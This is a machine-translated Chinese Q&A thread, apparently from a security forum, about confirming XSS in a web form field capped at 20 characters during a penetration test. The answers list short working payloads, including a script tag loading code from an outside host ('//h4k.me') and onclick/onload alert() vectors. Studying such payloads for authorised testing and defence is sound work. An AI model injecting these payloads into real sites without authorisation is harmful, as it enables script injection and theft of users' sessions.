在不接受超过 20 个字符的字段上进行跨站点脚本验证

信息安全 应用安全 渗透测试 xss
2021-08-29 21:37:02

在执行渗透测试时,我陷入了困境。有一个文本字段不接受超过 20 个字符(服务器端验证)。我插入了以下代码来检查 XSS(来自 RSnake 的 XSS 备忘单):

'';!--"<XSS>=&{()}

并验证了<XSS经文的来源,&lt;XSS看看它是否易受攻击。我得到<XSS的来源表明该字段容易受到跨站点脚本的攻击。

现在我正在尝试创建一些应该小于或等于 20 个字符的代码,并且可以在此字段上执行以确认 XSS,但我发现它很难。所以在这种情况下,我基本上有两个问题:

1:有人可以帮助处理这样的代码吗?

2:为了缓解XSS,验证最大长度(15-20个字符)可能是数据验证+ HTML编码组合以外的选项之一?请假设业务规则符合 15-20 个字符的限制。

希望我能够解释问题和场景。如有任何疑问,请告诉我。

3个回答

我喜欢讽刺。这是我的回应。以及我发布它时收到的错误。

<script src=//h4k.me

哎呀!您的答案无法提交,因为:

正文必须至少为 30 个字符;你输入了 20

在处理输入之前尽可能使用变量重铸(如果没有,正则表达式将 <'s /s 等抛出。)

除了 Ori 提供的脚本之外,还有一些其他脚本在这种情况下可能有用:-

<a href=http://a.by>
<a onclick=alert(2)>
<b onclick=alert(2)>

我见过的最短的 XSS 有效负载打开警报对话框并且不需要用户交互如下:

<svg/onload=alert()>

但是,如果唯一的要求是它必须可用于 XSS 漏洞测试,那么这是它可以得到的最短时间:

<

您只需要查看页面源以查看它是写入<还是写入&#x3C;页面,因此速度没有那么快